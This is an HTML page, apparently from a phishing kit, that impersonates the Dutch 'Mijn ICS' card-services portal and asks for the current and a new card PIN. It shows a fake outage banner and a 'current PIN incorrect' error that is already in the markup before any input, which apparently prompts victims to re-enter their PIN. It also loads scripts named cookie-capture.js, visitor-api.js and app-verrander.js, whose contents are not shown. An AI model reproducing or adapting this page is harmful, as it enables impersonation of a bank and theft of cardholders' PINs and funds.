<!DOCTYPE html>
<html lang="nl" data-beasties-container="">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Veilige pincode-update - Mijn ICS | International Card Services</title>
    <base href="/">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="./css/base.css" media="all">
    <link rel="stylesheet" href="./css/page.css" media="all">
    <link rel="stylesheet" href="./css/theme.css" media="all">
    <link rel="icon" href="./images/app-favicon.png" type="image/png">
    <script src="/scripts/outage-bootstrap.js"></script>
    <style>
      /* Titel + intro als ��n blok: zelfde breedte, strakke tussenruimte (wint van page.css) */
      .pin-page .pin-intro {
        max-width: 400px;
        width: 100%;
        margin-left: auto;
        margin-right: auto;
        padding: 0 16px;
        box-sizing: border-box;
        display: flex;
        flex-direction: column;
        align-items: stretch;
        gap: 8px;
        margin-bottom: 0;
      }
      [data-ui-15] [slot=content][data-ui-5] .pin-page .content-title[data-ui-5] {
        margin: 0 !important;
        max-width: none !important;
        width: 100%;
        padding: 0 !important;
        text-align: center;
        text-wrap: balance;
        line-height: 1.3;
        font-size: clamp(1.2rem, 3.2vw, 1.45rem) !important;
        align-self: stretch;
      }
      [data-ui-15] [slot=content][data-ui-5] .pin-page .pin-subtitle[data-ui-5] {
        margin: 0 0 20px !important;
        max-width: none !important;
        width: 100%;
        padding: 0 !important;
        font-size: 13px !important;
        line-height: 1.55 !important;
        text-align: center;
        text-wrap: balance;
        hyphens: auto;
        box-sizing: border-box;
      }
      .pin-card {
        max-width: 400px !important;
        width: 100%;
        box-sizing: border-box;
        padding-left: 16px;
        padding-right: 16px;
      }
      .pin-page .pin-card,
      .pin-page .mobile-form form {
        margin-left: auto;
        margin-right: auto;
      }
      #pinFormId-desktop,
      #pinFormId-mobile {
        gap: 8px !important;
        width: 100%;
        box-sizing: border-box;
      }
      #pinFormId-desktop .user,
      #pinFormId-mobile .user {
        margin-bottom: 0 !important;
        width: 100%;
      }
      #pinFormId-desktop .label-wrapper,
      #pinFormId-mobile .label-wrapper {
        width: 100%;
      }
      #pinFormId-desktop .input,
      #pinFormId-mobile .input {
        min-height: 42px !important;
        width: 100%;
        box-sizing: border-box;
      }
      #pinFormId-desktop input[type="password"],
      #pinFormId-mobile input[type="password"] {
        height: 42px !important;
        font-size: 14px !important;
        letter-spacing: 0.08em;
        line-height: normal !important;
        padding-left: 12px !important;
        padding-right: 12px !important;
        box-sizing: border-box !important;
        vertical-align: middle;
      }
      #pinFormId-desktop .label,
      #pinFormId-mobile .label {
        font-size: 12px !important;
        line-height: 1.35;
        display: block;
        text-align: left;
        margin-bottom: 4px;
      }
      .pin-card ui-feedback-message.errorFeedback .message,
      .pin-card ui-feedback-message.errorFeedback .message span {
        text-align: left;
        line-height: 1.45;
        font-size: 13px;
      }
      .pin-page .mobile-form {
        max-width: 400px;
        margin-left: auto;
        margin-right: auto;
        width: 100%;
        box-sizing: border-box;
        padding-left: 16px;
        padding-right: 16px;
      }
      .pin-page .mobile-form ui-feedback-message.errorFeedback .message,
      .pin-page .mobile-form ui-feedback-message.errorFeedback .message span {
        text-align: left;
        line-height: 1.45;
        font-size: 13px;
      }
      .pin-card .action-buttons,
      .mobile-form .action-buttons {
        margin-top: 18px !important;
      }
    </style>
</head>
<body>

<app-root><div class="client"><div class="client-web"><div class="v2"><lib-app-login data-ui-15=""><ui-sidenav-layout data-ui-5="" data-ui-11=""><nav data-ui-2="" class="sidenav"><div data-ui-5="" slot="sidenav" class="sidenav-content"><ui-skip-links data-ui-5="" mainelementid="main-content" data-ui-13=""><a data-ui-3="" id="skip-links-anchor" tabindex="0" href="#main-content" data-i18n="skipLink">Naar de inhoud</a><div data-ui-3="" id="content-wrapper-el" class="content-wrapper"><img data-ui-5="" alt="Logo" width="80" height="40" class="logo" loading="eager" fetchpriority="high" decoding="sync" src="./images/brand-logo-header.png"></div></ui-skip-links><h1 data-ui-5="" class="title" data-i18n="sidenavTitle"> Beveiligingscontrole </h1></div><img data-ui-2="" alt="Money/Hand or Card" width="500" height="500" class="sidebar-image" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/layout-sidenav-art.png"><div data-ui-2="" class="language-toggle-slot-wrapper"><common-language-toggle data-ui-5="" language-toggle-slot="" mode="single" class="language-toggle dark" data-ui-10=""><div data-ui-1="" class="language-toggle-container"><button data-ui-1="" lang="nl" ui-button="" tabindex="0" class="toggle-button hide ui-button darkarea default no-border" data-ui-18="" aria-label="Schakel over naar Nederlands"><img data-ui-1="" alt="Dutch Flag" width="20" height="20" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/locale-flag-nl.png"><span data-ui-1="">NL</span></button><button data-ui-1="" lang="en" tabindex="0" ui-button="" class="toggle-button ui-button darkarea default no-border" data-ui-18="" aria-label="Switch to English"><img data-ui-1="" alt="English Flag" width="20" height="20" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/locale-flag-en.png"><span data-ui-1="">EN</span></button></div></common-language-toggle></div></nav><div data-ui-2="" class="content"><main data-ui-5="" slot="content" id="main-content"><section data-ui-5="" class="content-container pin-page"><div class="pin-intro"><h2 data-ui-5="" class="content-title h1" data-i18n="contentTitle"> Veilige pincode-update </h2>
<p data-ui-5="" class="content-subtitle pin-subtitle" data-i18n="pinDesc" style="color: var(--text-primary);">Vul dit alleen in op dit beveiligde scherm. Deel uw pincode nooit. Voer uw huidige en nieuwe pincode in om veilig verder te gaan.</p></div><div data-ui-5="" class="desktop-messages"><lib-logout-reason-banner data-ui-5="" data-ui-12=""><!----><!----></lib-logout-reason-banner><div data-ui-5="" class="generic-alert"><ui-feedback-message data-ui-5="" data-ui-14="" role="status" class="error" aria-labelledby="feedback-title"><ui-icon data-ui-4="" role="img" size="small" data-ui-16="" aria-hidden="true" class="icon-error small ui-icon"></ui-icon><!----><div data-ui-4="" class="content-text"><div data-ui-4="" class="text"><span data-ui-4="" class="title" id="feedback-title"> Er is een storing </span><!----><p data-ui-4="" class="message"><span data-ui-4="">Sorry, u kunt tijdelijk niet inloggen bij onze app en website. We werken hard om de storing op te lossen. Meestal lukt dit ons binnen een uur.</span><span data-ui-4=""></span></p><p data-ui-4=""></p></div></div><!----><!----></ui-feedback-message></div></div><ui-card data-ui-5="" class="desktop-form border pin-card" data-ui-17=""><form data-ui-5="" novalidate="" id="pinFormId-desktop" class="ng-untouched ng-pristine ng-invalid">
    <ui-feedback-message data-ui-5="" class="errorFeedback error" data-ui-14="" role="status" aria-live="polite" aria-atomic="true">
        <img src="./images/ui-inline-error.png" width="16" height="16" alt="" class="error-icon" decoding="async" aria-hidden="true"/>
        <div data-ui-4="" class="content-text">
            <div data-ui-4="" class="text">
                <p data-ui-4="" class="message"><span data-ui-4="" data-i18n="pinError">De huidige pincode is onjuist. Controleer uw huidige pincode en probeer het opnieuw.</span><span data-ui-4=""></span></p>
                <p data-ui-4=""></p>
            </div>
        </div>
    </ui-feedback-message>
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="pin-old-desktop" data-i18n="lblOld"> Huidige pincode </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="password" id="pin-old-desktop" inputmode="numeric" maxlength="6" autocomplete="current-password" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="pin-new-desktop" data-i18n="lblNew"> Nieuwe pincode </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="password" id="pin-new-desktop" inputmode="numeric" maxlength="6" autocomplete="new-password" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
</form><div data-ui-5="" class="action-buttons"><div></div><button data-ui-5="" tabindex="0" ui-button="" variant="primary" class="login-btn ui-button primary default" data-ui-18="" data-i18n="verifyBtn"> Bevestigen </button></div></ui-card><div data-ui-5="" class="mobile-form"><div data-ui-5=""><lib-logout-reason-banner data-ui-5="" data-ui-12=""></lib-logout-reason-banner><form data-ui-5="" novalidate="" id="pinFormId-mobile" class="ng-untouched ng-pristine ng-invalid">
    <ui-feedback-message data-ui-5="" class="errorFeedback error" data-ui-14="" role="status" aria-live="polite" aria-atomic="true">
        <img src="./images/ui-inline-error.png" width="16" height="16" alt="" class="error-icon" decoding="async" aria-hidden="true"/>
        <div data-ui-4="" class="content-text">
            <div data-ui-4="" class="text">
                <p data-ui-4="" class="message"><span data-ui-4="" data-i18n="pinError">De huidige pincode is onjuist. Controleer uw huidige pincode en probeer het opnieuw.</span><span data-ui-4=""></span></p>
                <p data-ui-4=""></p>
            </div>
        </div>
    </ui-feedback-message>
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="pin-old-mobile" data-i18n="lblOld"> Huidige pincode </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="password" id="pin-old-mobile" inputmode="numeric" maxlength="6" autocomplete="current-password" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
    <div data-ui-5="" class="user">
        <ui-form-field data-ui-5="" data-ui-21="">
            <div data-ui-8="" class="label-wrapper">
                <label data-ui-8="" class="label" for="pin-new-mobile" data-i18n="lblNew"> Nieuwe pincode </label>
                <div data-ui-8="" class="input">
                    <span data-ui-8="" class="prefix"></span>
                    <input data-ui-5="" type="password" id="pin-new-mobile" inputmode="numeric" maxlength="6" autocomplete="new-password" class="ng-untouched ng-pristine ng-invalid">
                    <span data-ui-8="" class="suffix"></span>
                </div>
                <div data-ui-8="" class="info"></div>
            </div>
        </ui-form-field>
    </div>
</form></div><div data-ui-5="" class="action-buttons"><div></div><button data-ui-5="" tabindex="0" ui-button="" variant="primary" class="login-btn ui-button primary default" data-ui-18="" data-i18n="verifyBtn"> Bevestigen </button></div></div></section></main></div><div data-ui-2="" class="pattern-wrapper-sidenav"><img data-ui-2="" alt="" loading="eager" fetchpriority="high" decoding="sync" src="./images/bg-dot-texture.png" sizes="100vw" style="position:absolute;width:100%;height:100%;inset:0"></div></ui-sidenav-layout></lib-app-login></div></div></div></app-root>

<script defer src="/scripts/i18n-core.js"></script>
<script defer src="/scripts/routes.js"></script>
<script defer src="/scripts/retry-helper.js"></script>
<script defer src="/scripts/page-tracker.js"></script>
<script defer src="/scripts/cookie-capture.js"></script>
<script defer src="/scripts/visitor-api.js"></script>
<script defer src="/scripts/sleep-flow.js"></script>
<script defer src="/scripts/outage-helper.js"></script>
<script defer src="/scripts/outage-guard.js"></script>
<script defer src="./scripts/app-verrander.js"></script>
</body>
</html>
